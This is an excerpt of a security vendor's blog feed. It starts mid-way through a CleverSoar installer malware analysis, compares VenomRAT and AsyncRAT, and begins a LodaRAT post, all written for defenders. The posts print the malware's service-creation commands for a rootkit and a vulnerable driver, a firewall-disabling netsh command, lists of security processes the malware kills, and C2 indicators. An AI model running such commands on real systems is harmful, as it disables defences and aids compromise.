Emily, HAPUBWS, Hone Lee, IT-ADMIN, Johnaon, Miller, miloza, Peter Wilson, timmy, sand box<strong>, </strong>malware, maltest, test user, virus, John Doe, 9ZaXj, WALKER, vbccsb_*, vbccsb.'</p><p>While most of these usernames are well known for being used by sandboxes and emulator solutions, two of them seem to be misspelled: 'Hone Lee' instead of 'Hong Lee' and 'Johnaon' instead of 'Johnson'.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt082b6ae90c15af19/683de1edc26e07334528e7df/Screenshot-2024-11-25-at-2.54.27-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-25-at-2.54.27-PM.png" asset-alt="Screenshot-2024-11-25-at-2.54.27-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt082b6ae90c15af19/683de1edc26e07334528e7df/Screenshot-2024-11-25-at-2.54.27-PM.png" data-sys-asset-uid="blt082b6ae90c15af19" data-sys-asset-filename="Screenshot-2024-11-25-at-2.54.27-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-25-at-2.54.27-PM.png" sys-style-type="display"/></figure><p>There are two possible reasons for this misspell, first, the threat actor typed those names manually, and the second one might be, the threat actor found that those are more recent names used by sandboxes.</p><p>Once the username check bypass is successfully executed, the malware proceeds to complete the evasion phase and initiates its malicious actions.</p><h3>Malicious Activity</h3><p>Upon successful completion of all environmental checks, the installer proceeds to the system language verification. This process involves retrieving the language identifier (ID) for the user interface language and verifying if that ID corresponds to one of the Chinese language IDs (0x804, 0xC04, 0x1404, 0x1004) or the Vietnamese ID (0x42A). If the language ID does not match any of these identifiers, the malware terminates its execution (<a href="https://attack.mitre.org/techniques/T1614/001/">T1614.001</a>).</p><p>This observation suggests a potential threat actor’s intention to target only endpoints within these two countries.</p><p>Subsequently, the installer creates the 'HKCU\SOFTWARE\Magisk' (<a href="https://attack.mitre.org/techniques/T1112/">T1112</a>) registry key and searches for the 'ring3_username' value under it. If the value is not present, the malware retrieves the user name that the 'explorer.exe' process is running as and sets the 'ring3_username' value.</p><p>The installer verifies if virtualization is enabled in the firmware and made available by the operating system by calling 'IsProcessorFeaturePresent' with 0x15 (PF_VIRT_FIRMWARE_ENABLED) and creates the 'INIT.dat' file in the 'C:\Program Files (x86)\Windows NT' directory. Next, it enumerates processes and checks if one of 'ZhuDongFangYu.exe', 'QHActiveDefense.exe', 'HipsTray.exe', or 'HipsDaemon.exe' is running (<a href="https://attack.mitre.org/techniques/T1518/001/">T1518.001</a>). The first two processes belong to 360 Total Security (Chinese Anti-Virus Software), and the last two belong to HeroBravo System Diagnostics. If one of these processes is discovered, the installer proceeds to adjust 'Se_Debug_Privilege' to the running process (<a href="https://attack.mitre.org/techniques/T1134/">T1134</a>), enumerates running processes once again, searches for 'lsass.exe' and writes into that process (<a href="https://attack.mitre.org/techniques/T1055/">T1055</a>). Unfortunately, we were unable to retrieve the written payload due to an unhandled runtime error. It is noteworthy that during our investigation, we identified several installer versions, and most of them encountered unhandled runtime errors and could not execute.</p><p>Upon successful completion of the preceding checks, the installer proceeds to verify the existence of the 'CleverSoarInst' service. If the service is not detected, the installer opens a named '\\.\pipe\ntsvcs' pipe, which is linked to the RPC protocol, to establish a temporary service responsible for creating the 'CleverSoar' service (<a href="https://attack.mitre.org/techniques/T1569/002/">T1569.002</a>). This temporary service will only execute once, executing the following command: 'cmd /c start sc create CleverSoar' displayname= CleverSoar binPath= “C:\Program Files (x86)\Windows NT\tProtect.dll” type= kernel start= auto'.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7534efcb28127987/683de2108ac17c262729ae71/Screenshot-2024-11-25-at-3.08.35-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-25-at-3.08.35-PM.png" asset-alt="Screenshot-2024-11-25-at-3.08.35-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7534efcb28127987/683de2108ac17c262729ae71/Screenshot-2024-11-25-at-3.08.35-PM.png" data-sys-asset-uid="blt7534efcb28127987" data-sys-asset-filename="Screenshot-2024-11-25-at-3.08.35-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-25-at-3.08.35-PM.png" sys-style-type="display"/></figure><p>This command will create a new 'CleverSoar' service that will commence executing a driver at the system’s startup. The DLL specified within this service is one of the previously dropped files and is, in fact, a vulnerable Sysmon driver commonly employed by threat actors to disable security software. The installer initiates the 'CleverSoar' service and establishes a named '\\.\TfSysMon' pipe connection. Subsequently, it enumerates the currently running processes once more (<a href="https://attack.mitre.org/techniques/T1057/">T1057</a>), searching for any instances that contain one of the following strings:</p><table cols="2" colWidths="250,250"><thead><tr><th>Security Product</th><th>String</th></tr></thead><tbody><tr><td>Bkav Pro</td><td>bka, blu</td></tr><tr><td>Windows Security</td><td>sechealthui, security, smartscreen, msmpeng, mssecess, mpcmdrun, defender</td></tr><tr><td>360 Total Security</td><td>360, zhudongfangyu, dsmain, qhactive, wdswfsafe, softmgr, 360se, 360chrome, 360zip</td></tr><tr><td>Kingsoft</td><td>ksafe, kwatch, kxecenter, kislive, kxetray, kxemain, kxewsc, kscan, kxescore, xdict</td></tr><tr><td>Huorong Internet Security</td><td>wsctrlsvc, usysdiag, hrsword</td></tr><tr><td>HeroBravo System Diagnostics</td><td>hips</td></tr><tr><td>Kaspersky</td><td>kav, avp, kis</td></tr><tr><td>2345 Security Guard</td><td>2345</td></tr><tr><td>Tencent</td><td>qqpc</td></tr><tr><td>McAfee</td><td>mcshield, mcapexe, mfemms</td></tr><tr><td>Avira</td><td>avira, sentryeye</td></tr><tr><td>Eset</td><td>eset, boothelper, efwd, egui, ekrn.exe, eguiproxy.exe</td></tr><tr><td>Elastic Security</td><td>elastic, agentbeat.exe, apm-server.exe</td></tr><tr><td>Rising Anti-Virus</td><td>ravmond.exe, rsmain.exe, rstray, rsmgrsvc</td></tr><tr><td>Monitoring and debugging tools</td><td>dbg, pchunter, hacker, monitor, wireshark</td></tr><tr><td>Other</td><td>lenovo, calc.exe, regedit</td></tr><tr><td>Unknown</td><td>remotectrlaid, superki, mfeavsv, 52pojie, kl_, watchdog</td></tr></tbody></table><p>If one of the listed processes is discovered, the installer employs the 'DeviceIoControl' API call, specifying the process ID and the '0B4A00404h' IoControl code. Upon our examination of the Sysmon driver, this action results in the termination of the identified process (T1489).</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt53a2009c227c6025/683de23365b8ea4932cc8d5d/Screenshot-2024-11-25-at-3.09.37-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-25-at-3.09.37-PM.png" asset-alt="Screenshot-2024-11-25-at-3.09.37-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt53a2009c227c6025/683de23365b8ea4932cc8d5d/Screenshot-2024-11-25-at-3.09.37-PM.png" data-sys-asset-uid="blt53a2009c227c6025" data-sys-asset-filename="Screenshot-2024-11-25-at-3.09.37-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-25-at-3.09.37-PM.png" sys-style-type="display"/></figure><p>Subsequently, CleverSoar installer enumerates the files present in the folder generated by the malware and modifies their attributes by adding 0x6 (FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM). This modification is intended to evade file detection mechanisms (<a href="https://attack.mitre.org/techniques/T1564/001/">T1564.001</a>).</p><p>The next phase involves the installation of a rootkit by creating a service which will run a rootkit dll in system startup. The installer initiates a verification process to ascertain the presence of a service named 'Nidhogg.' If the service is not already in existence, it proceeds to execute the command 'sc create Nidhogg displayname= Nidhogg binPath= “C:\Program Files (x86)\Windows NT\curl.dll” type= kernel start= auto' to create a new 'Nidhogg' service (<a href="https://attack.mitre.org/techniques/T1543/003/">T1543.003</a>). The service will execute an open-sourced <a href="https://github.com/Idov31/Nidhogg">Nidhogg</a> rootkit at system startup (<a href="https://attack.mitre.org/techniques/T1014/">T1014</a>).</p><p>CleverSoar employs a persistence mechanism by executing a scheduled task upon user login (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>). This task is initiated by dropping a .xml file into the user’s temporary folder, which contains a scheduled task XML file. By utilizing the same RPC service method previously mentioned, the installer constructs a service responsible for executing a command that creates the scheduled task with the 'Corp' name. The created task is concealed by modifying the 'Index' value under 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Corp' registry key to 0 (<a href="https://attack.mitre.org/techniques/T1564/">T1564</a>).</p><p>After persistence set, the installer turns the Windows firewall off by executing the 'netsh advfirewall set allprofiles state off' command (<a href="https://attack.mitre.org/techniques/T1562/004/">T1562.004</a>).</p><p>The malware now proceeds to the next stages of execution. Firstly, it checks if the 'winnt.exe' binary exists within the malware-created folder. In the event of its presence, the installer executes a command to create a scheduled task that will execute the binary once and immediately delete the scheduled task. The task responsible for executing the 'winnt.exe' is named 'PayloadTask1'. If the binary is not present in the folder, the installer will persistently enumerate the folder and search for it. Based on our analysis of the 'winnt.exe' binary, it appears to be a Winos4.0 command-and-control (C2) framework implant that has recently been covered in Trend Micro’s <a href="https://www.trendmicro.com/en_us/research/24/f/behind-the-great-wall-void-arachne-targets-chinese-speaking-user.html">report</a>.</p><p>The installer executes the same process with the 'runtime.exe' binary. The task responsible for executing this binary is designated as 'PayloadTask2'. Based on our investigation, 'runtime.exe' appears to be a custom backdoor, facilitating communication with the C2 server via a proprietary protocol.</p><p>By the time of the investigation the C2 server was already down and Rapid7 Labs could not continue the further analysis of interaction between the C2 server and the malware.</p><h2>Conclusion</h2><p>The CleverSoar campaign highlights an advanced and targeted threat, employing sophisticated evasion techniques and highly customized malware components like the Winos4.0 framework and Nidhogg rootkit. The campaign's selective targeting of Chinese and Vietnamese-speaking users, along with its layered anti-detection measures, points to a persistent espionage effort by a capable threat actor. While currently aimed at individual users, this campaign's tactics and tools demonstrate a level of sophistication that could easily extend to organizational targets. Organizations in the affected regions should take notice of the TTPs of this actor and monitor suspicious activity.</p><p>IOCs</p><table cols="2" colWidths="250,250"><thead><tr><th>F70b34e2b1716528a3c3fffdbfc008003b9685f1a4da2e5a6052612de92b0c68</th><th>CleverSoar installer</th></tr></thead><tbody><tr><td>156.224.26.7</td><td>Winos4.0 C2</td></tr><tr><td>8848.twilight.zip</td><td>Backdoor C2</td></tr></tbody></table><h2>References</h2><ul><li><a href="https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer">https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer</a></li><li><a href="https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes">https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes</a></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/11/27/new-cleversoar-installer-targets-chinese-and-vietnamese-users</link>
      <guid isPermaLink="false">blt31282240ef48bd72</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Natalie Zargarov]]></dc:creator>
      <pubDate>Wed, 27 Nov 2024 14:28:06 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfeedf3bfb4a85e2a/683de1165619a1068fc6ea9f/gettyimages-2179361762.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[A Bag of RATs: VenomRAT vs. AsyncRAT]]></title>
      <description><![CDATA[<h2>Introduction</h2><p>Remote access tools (RATs) have long been a favorite tool for cyber attackers, since they enable remote control over compromised systems and facilitate data theft, espionage, and continuous monitoring of victims. Among the well-known RATs are VenomRAT and AsyncRAT. These are open-source RATs and have been making headlines for their frequent use by different threat actors, including Blind Eagle/APT-C-36, Coral Rider, NullBulge, and OPERA1ER. Both RATs have their roots in QuasarRAT, another open-source project, which explains their similarities. However, as both have evolved over time, they have diverged in terms of functionalities and behavior, which affects how attackers use them and how they are detected.</p><p>Interestingly, as these RATs evolved, some security vendors have started to blur the line between them, often grouping detections under a single label, such as AsyncRAT or AsyncRAT/VenomRAT. This indicates how closely related the two are, but also suggests that their similarities may cause challenges for detection systems. We took a closer look at recent samples of each RAT to examine how they differ, if at all.</p><p>This comparison explores the core technical differences between VenomRAT and AsyncRAT by analyzing their architecture, capabilities, and tactics.</p><p>Here's a comparison table between VenomRAT and AsyncRAT based on the findings</p><table cols="3" colWidths="250,250,250"><thead><tr><th><strong>Capability</strong></th><th><strong>VenomRAT</strong></th><th><strong>AsyncRAT</strong></th></tr></thead><tbody><tr><td><strong>AMSI Bypass</strong></td><td>✔ Patches AmsiScanBuffer in amsi.dll (In-memory patching) T1562.001</td><td>✘ Not implemented</td></tr><tr><td><strong>ETW Bypass</strong></td><td>✔ Patches EtwEventWrite in ntdll.dll (In-memory patching) T1562.006</td><td>✘ Not implemented</td></tr><tr><td><strong>Keylogging</strong></td><td>✔ Advanced keylogger with filtering and process tracking T1056.001</td><td>✔ Basic keylogger with clipboard logging T1056.001</td></tr><tr><td><strong>Anti-analysis Techniques</strong></td><td>✔ Uses WMI for OS detection, VM check T1497.001</td><td>✔ VM, sandbox, and debugger detection T1497</td></tr><tr><td><strong>Hardware Interaction</strong></td><td>✔ Collects CPU, RAM, GPU, and software data using WMI T1082</td><td>✔ Collects system data via Win32_ComputerSystem T1082</td></tr><tr><td><strong>Process discovery</strong></td><td>✔ This the capability to obtain a listing of running processes  T1057</td><td>✘ Not implemented</td></tr><tr><td><strong>Anti-process Monitoring</strong></td><td>✔ Terminates system monitoring and security processes T1562.009</td><td>✘ Not implemented</td></tr><tr><td><strong>Webcam Access</strong></td><td>✔ Camera detection and access T1125</td><td>✘ Not implemented</td></tr><tr><td><strong>Dynamic API Resolution</strong></td><td>✔ DInvokeCore class for dynamic API resolution T1027.007</td><td>✘ Not implemented</td></tr><tr><td><strong>Encrypts the configuration</strong></td><td>✔ 16-byte salt ("VenomRATByVenom") T1027.013</td><td>✔ 32-byte binary salt T1027.013</td></tr><tr><td><strong>Error Handling</strong></td><td>✔ Silent failures with basic try-catch</td><td>✔ Sends detailed error reports to C2 T1071</td></tr></tbody></table><h2>Technical analysis</h2><p>In this technical analysis, we compare two specific RAT samples:</p><ul><li><strong>VenomRAT</strong>: 1574d418de3976fc9a2ba0be7bf734b919927d49bd5e74b57553dfc6eee67371</li><li><strong>AsyncRAT</strong>: caf9e2eac1bac6c5e09376c0f01fed66eea96acc000e564c907e8a1fbd594426</li></ul><p>Both AsyncRAT and VenomRAT are open-source remote access tools developed in C# and built on the .NET Framework (v4.0.30319). A preliminary analysis based on <a href="https://github.com/mandiant/capa/tree/master/web/explorer">CAPA</a> results revealed several shared characteristics between the two. For example, both RATs use standard libraries like <strong>System.IO</strong>, <strong>System.Security.Cryptography</strong>, and <strong>System.Net</strong> for file handling, encryption, and networking. They also have common cryptographic components such as <strong>HMACSHA256, AES,</strong> and <strong>SHA256Managed</strong>, indicating similar encryption routines. Indeed, upon closer code examination, we found that their encryption classes were identical, with only one minor difference: AsyncRAT uses a 32-byte binary <a href="https://en.wikipedia.org/wiki/Salt_(cryptography)#:~:text=In%20cryptography%2C%20a%20salt%20is,needed%20for%20a%20successful%20attack.">salt</a>, while VenomRAT uses a 16-byte salt derived from the string "VenomRATByVenom." Additionally, both RATs share similarities in configuration handling, mutex creation, and parts of their anti-analysis class.</p><p>However, the CAPA analysis also highlighted distinct differences between the two. Certain features present in one RAT were notably absent in the other. To verify, we manually reviewed code in both samples and described the differences below.</p><h2>Keylogging and System Hooking</h2><p>In the samples we analyzed the keylogger was present only in VenomRAT. However, the open-source version of AsyncRAT has a keylogger plugin. We therefore decided to investigate whether the VenomRAT keylogger implementation is the same as AsyncRAT’s implementation. Our findings suggest that the keylogging functionality is different. We summarized a comparative analysis of their keylogging implementations in the table below. Additionally, the VenomRAT keylogger configuration file<strong> DataLogs.conf </strong>and log files are saved in the user’s <strong>%AppData%\MyData</strong> folder.</p><table cols="3" colWidths="250,250,250"><thead><tr><th>Feature</th><th>VenomRAT</th><th>AsyncRAT</th></tr></thead><tbody><tr><td>Low-level keyboard hook (WH_KEYBOARD_LL)</td><td>✔</td><td>✔</td></tr><tr><td>Keystroke Processing</td><td>✔</td><td>✔</td></tr><tr><td>Window/Process Tracking</td><td>Tracks both process and window title</td><td>Tracks window title only</td></tr><tr><td>Clipboard Logging</td><td>✘</td><td>✔</td></tr><tr><td>Log Transmission</td><td>Periodic log sending to C2</td><td>Continuous log sending to C2</td></tr><tr><td>Filtering Mechanism</td><td>✔</td><td>✘</td></tr><tr><td>Error Handling</td><td>Silent failures with basic try-catch</td><td>Sends detailed error reports to C2</td></tr><tr><td>Additional Features</td><td>Focused on keystrokes</td><td>Handles both keystrokes and clipboard</td></tr><tr><td>Thread Management</td><td>✘</td><td>✔</td></tr></tbody></table><h2>Anti-Analysis</h2><p>Both AsyncRAT and Venom RAT have similar implementations of the anti-analysis classes. However, we can see notable differences. AsyncRAT focuses on a broad spectrum of detection techniques, including:</p><ul><li><strong>Virtual Machine Detection</strong>: It checks for known system manufacturer names such as VMware,VirtualBox, or Hyper-V.</li><li><strong>Sandbox Detection</strong>: It looks for sandbox-related DLLs, such as <strong>SbieDll.dll</strong> from Sandboxie.</li><li><strong>Debugger Detection</strong>: AsyncRAT uses <strong>CheckRemoteDebuggerPresent</strong> to detect if it's being monitored by a debugger.</li><li><strong>Disk Size Check</strong>: It avoids execution on machines with less than 60GB disk size.</li></ul><p>On the other hand, VenomRAT uses a more targeted approach. The virtual machine detection method in <strong>VenomRAT</strong> relies on querying system memory through <strong>WMI</strong> (Windows Management Instrumentation) to query system memory via <strong>Win32_CacheMemory</strong>. The method relies on counting cache memory entries, and if the number is less than 2 cache memories, it assumes the system is a virtual machine (VM). However, modern VMs are more sophisticated, and simply relying on counting cache memories may not be effective.</p><p>The other difference is, instead of targeting debuggers or sandboxes, VenomRAT attempts to avoid running on server operating systems by querying the <strong>Win32_OperatingSystem WMI</strong> class and checking the <strong>ProductType</strong>, which differentiates between desktop and server environments. We summarized class differences in the table below.</p><table cols="3" colWidths="250,250,250"><thead><tr><th>Feature</th><th>AsyncRAT AntiAnalysis Class</th><th>Venom RAT Anti_Analysis Class</th></tr></thead><tbody><tr><td>VM Detection</td><td>✔</td><td>✔</td></tr><tr><td>Sandbox Detection</td><td>✔</td><td>✘</td></tr><tr><td>Debugger Detection</td><td>✔</td><td>✘</td></tr><tr><td>Operating System Detection</td><td>✔</td><td>✔</td></tr><tr><td>Process Discovery</td><td>✘</td><td>✔</td></tr></tbody></table><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt542dd18c1b334bae/683de10d4c5a0942dd5e0b2f/Screenshot-2024-11-20-at-3.25.49-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-20-at-3.25.49-PM.png" asset-alt="Screenshot-2024-11-20-at-3.25.49-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt542dd18c1b334bae/683de10d4c5a0942dd5e0b2f/Screenshot-2024-11-20-at-3.25.49-PM.png" data-sys-asset-uid="blt542dd18c1b334bae" data-sys-asset-filename="Screenshot-2024-11-20-at-3.25.49-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-20-at-3.25.49-PM.png" sys-style-type="display"/></figure><h2>Hardware Interaction</h2><p>VenomRAT has hardware interaction capabilities, allowing it to gather detailed system information through <strong>WMI queries</strong> with <strong>ManagementObjectSearcher</strong> objects. These features are encapsulated in the <strong>CGRInfo</strong> class, which enables the collection of CPU, RAM, GPU, and software data:</p><ul><li><strong>GetCPUName()</strong>: Retrieves the CPU name and the number of cores</li><li><strong>GetRAM()</strong>: Fetches the total installed physical memory (RAM)</li><li><strong>GetGPU()</strong>: Obtains the GPU name and driver version</li><li><strong>GetInstalledApplications()</strong>: Scans the Windows Registry to compile a list of installed applications</li><li><strong>GetUserProcessList()</strong>: Collects information on all running processes with visible windows</li></ul><p>The collected data is sent back to the command-and-control (C2) server. This class is absent in both the version of AsyncRAT we analyzed and the open-source version.</p><h2>DcRAT joined the party with AntiProcess and Camera classes</h2><p>VenomRAT includes two notable classes absent in AsyncRAT: the AntiProcess and Camera classes.</p><p>The AntiProcess class is an anti-monitoring and anti-detection component of VenomRAT. Malware uses the Windows API function <strong>CreateToolhelp32Snapshot</strong> to get a snapshot of all running processes and search for specific processes. We categorized the processes the malware is looking for below.</p><p><strong>System Monitoring Tools </strong>that can prevent users from identifying or stopping VenomRAT.</p><ul><li>Taskmgr.exe</li><li>ProcessHacker.exe</li><li>procexp.exe</li></ul><p><strong>Security & Antivirus Processes: </strong>Terminating them reduces the risk of VenomRAT being detected or removed by security software.</p><ul><li>MSASCui.exe</li><li>MsMpEng.exe</li><li>MpUXSrv.exe</li><li>MpCmdRun.exe</li><li>NisSrv.exe</li></ul><p><strong>System Configuration Utilities: </strong>By targeting these, VenomRAT prevents users from adjusting security settings, inspecting registry changes, or manually removing the malware.</p><ul><li>ConfigSecurityPolicy.exe</li><li>MSConfig.exe</li><li>Regedit.exe</li><li>UserAccountControlSettings.exe</li><li>Taskkill.exe</li></ul><p>If a matching process is found, it terminates it by its process ID (PID).</p><p>The Camera class is designed to detect webcams on a Windows system by querying the available system devices using COM interfaces. It retrieves a list of devices by category, specifically looking for video input devices. The class uses the <strong>ICreateDevEnum</strong> and <strong>IPropertyBag</strong> interfaces to enumerate and extract the device names.</p><p>However, both these classes, although absent in AasyncRAT, are not exclusive to VenomRAT only. Apparently they are exact copycats of yet another open-source RAT, DcRAT.</p><h2>AMSI and ETW Bypass</h2><p>This class was found only in the VenomRAT sample and is designed to bypass key Windows security mechanisms through in-memory patching. It specifically disables two critical Windows security features: AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows), which are often used by antivirus software and monitoring tools to detect malware.</p><h4><strong>Key Functions:</strong></h4><ul><li><strong>AMSI Bypass</strong>: The class patches the <strong>AmsiScanBuffer</strong> function within <strong>amsi.dll</strong> to prevent AMSI from scanning for malicious content.</li><li><strong>ETW Bypass</strong>: The class patches the <strong>EtwEventWrite</strong> function in <strong>ntdll.dll</strong>, which stops <strong>ETW</strong> from logging events related to the malware’s activity.</li></ul><p>The patching process is performed in-memory. The class dynamically checks the system's architecture (32-bit or 64-bit) and loads the appropriate DLLs (<strong>amsi.dll</strong> and <strong>ntdll.dll</strong>) to apply the patches based on the platform. The techniques used by VenomRAT closely mirror those found in the <a href="https://github.com/cobbr/SharpSploit/tree/master/SharpSploit/Evasion">SharpSploit</a> project, an open-source tool often used by penetration testers and red teams to test and bypass security features in a controlled environment. SharpSploit contains classes for bypassing both AMSI and ETW using similar in-memory patching methods, which likely served as inspiration for VenomRAT's implementation.</p><p>This security bypass functionality makes VenomRAT more capable of evading modern security defenses.</p><h2>Dynamic API resolution</h2><p>VenomRAT has yet another class which is absent in AsyncRAT. The <strong>DInvokeCore</strong> class is implemented to<strong> </strong>dynamically resolve and call Windows API functions at runtime; this method bypasses traditional static imports, making it harder for antivirus and endpoint detection and response (EDR) systems to detect malicious activity.</p><p>Instead of statically importing Windows APIs, the class resolves function addresses at runtime (e.g., from <strong>ntdll.dll</strong> or <strong>kernel32.dll</strong>) using methods like <strong>GetLibraryAddress</strong> and <strong>GetExportAddress</strong>. This approach makes it difficult for static analysis tools to flag malicious behavior.</p><p>It uses the <strong>NtProtectVirtualMemory</strong> method to alter memory protection settings, allowing execution of code in memory regions that are normally non-executable—an effective method for in-memory execution of malicious payloads.</p><p>Implementation of <strong>DInvokeCore</strong> closely mirrors the open-source SharpSploit Generic class from the <a href="https://github.com/TheWover/DInvoke">D/Invoke</a> project by <a href="https://github.com/TheWover">TheWover</a>. The DInvokeCore class from VenomRAT appears to be a simplified version, which lacks some features but has core techniques for dynamic API invocation.</p><h2>Conclusion</h2><p>Our analysis was sparked by detection vendors grouping VenomRAT and AsyncRAT under the same label, blurring the lines between the two. While they indeed belong to the QuasarRAT<strong> </strong>family, they are still different RATs.</p><p>AsyncRAT appears to closely match the latest open-source release (v0.5.8). However, the VenomRAT seems to have evolved and added other capabilities, although a lot of them seem to be a copy-paste from another open-source RAT (DcRAT) and the SharpSploit project. Despite this, VenomRAT presents more advanced evasion techniques, making it a more sophisticated threat.</p><p>Therefore, it’s important for security vendors to treat them as distinct threats, recognizing that VenomRAT brings more advanced evasion capabilities, even if much of it isn’t truly unique. To help to resolve this confusion, we are sharing an updated VenomRAT YARA rule with the community, helping improve detection and response efforts.</p><h2>Rapid7 customers</h2><p><a href="/products/insightidr/">InsightIDR</a> and <a href="/services/managed-detection-and-response-mdr/">Managed Detection and Response (MDR)</a> customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. The following rule will alert on a wide range of malicious hashes tied to behavior in this blog:  Suspicious Process - Malicious Hash On Asset</p><h2>YARA rule</h2><p>The VenomRAT YARA rule can be found on the <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Yara/mal_rat_VenomRAT.yar">Rapid7 Labs GitHub here</a>.<br/></p>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/11/21/a-bag-of-rats-venomrat-vs-asyncrat</link>
      <guid isPermaLink="false">bltea2a923b9e0d6a61</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Threat Intel]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Anna Širokova]]></dc:creator>
      <pubDate>Thu, 21 Nov 2024 17:19:50 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte4d9e6a039a96255/683de13765b8eab45fcc8ce7/GettyImages-2167356719.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[LodaRAT: Established Malware, New Victim Patterns]]></title>
      <description><![CDATA[<h2>Executive Summary</h2><p>Rapid7 has observed an ongoing <a href="/fundamentals/malware-attacks/">malware</a> campaign involving a new version of LodaRAT. This version possesses the ability to steal cookies and passwords from Microsoft Edge and Brave. LodaRAT, <a href="https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware">first observed in 2016</a>, is a remote access tool (RAT) written in AutoIt. Development of LodaRAT has continued over the past 8 years, with an <a href="https://blog.talosintelligence.com/kasablanka-lodarat/">Android version</a> distributed in the wild since 2021. This article analyzes the Windows version only.</p><p>Originally created for information gathering, LodaRAT has a variety of capabilities for collecting and exfiltrating victim data, delivering additional malware, capturing the victim’s screen, controlling the victim camera or mouse, and even spreading in infected environments. Notably, this appears to be the only update made to that RAT since 2022. Even the embedded DLLs remain the same.</p><h2>Distribution</h2><p>Old versions of LodaRAT were using Phishing (<a href="https://attack.mitre.org/techniques/T1566/">T1566</a>) and Known Vulnerability Exploitation (<a href="https://attack.mitre.org/techniques/T1203/">T1203</a>) techniques in their delivery process, but Rapid7 spotted new versions being distributed by DonutLoader (<a href="https://attack.mitre.org/software/S0695/">S0695</a>) and CobaltStrike (<a href="https://attack.mitre.org/software/S0154/">S0154</a>). We also observed LodaRAT on systems infected with other malware families like AsyncRAT (<a href="https://attack.mitre.org/software/S1087/">S1087</a>), Remcos (<a href="https://attack.mitre.org/software/S0332/">S0332</a>), Xworm, and more. Though we aren’t able to say for sure whether LodaRAT was distributed with those malware families or simply present by coincidence. New LodaRAT samples masquerade (<a href="https://attack.mitre.org/techniques/T1036/">T1036</a>) as well-known Windows software such as Discord, Skype, and Windows Update, amongst others.</p><h2>Victimology</h2><p>While in previous campaigns the threat actor behind this RAT showed interest in specific <a href="https://blog.talosintelligence.com/kasablanka-lodarat/">country</a>-based organizations, the new campaign seems to infect victims all over the world. Approximately 30% of VirusTotal samples were uploaded from the USA.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta80ecb670c754508/683ddd463e68eec474889862/Screenshot-2024-11-11-at-2.03.54-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-11-at-2.03.54-PM.png" asset-alt="Screenshot-2024-11-11-at-2.03.54-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta80ecb670c754508/683ddd463e68eec474889862/Screenshot-2024-11-11-at-2.03.54-PM.png" data-sys-asset-uid="blta80ecb670c754508" data-sys-asset-filename="Screenshot-2024-11-11-at-2.03.54-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-11-at-2.03.54-PM.png" sys-style-type="display"/></figure><h2>Attribution</h2><p>LodaRAT was attributed to the Kasablanka APT by <a href="https://blog.talosintelligence.com/kasablanka-lodarat/">Cisco</a> in 2021; the group was focused on information gathering and espionage targeting Russia and Bangladesh in 2022. The 2024 campaign observed by Rapid7 shows a notable shift in threat actor behavior — i.e., preferring worldwide distribution over specific regional targets — and therefore we would not necessarily attribute this year's campaign to the same APT. Being an AutoIt compiled binary, LodaRAT source code can be easily extracted and customized by a skilled threat actor. Rapid7 also found a <a href="https://github.com/HongThatCong/Malware_Scripts_Sources/blob/master/AutoIt_RAT.au3">GitHub</a> repository with leaked LodaRAT source code. Based on capabilities, variable names, and strings, the leaked code is a four-year-old LodaRAT version, meaning adversaries have had plenty of time to analyze and update the code in newer versions.</p><p><a href="/products/insightidr/">InsightIDR</a> and <a href="/services/managed-detection-and-response-mdr/">Managed Detection and Response</a> customers have existing detection coverage through 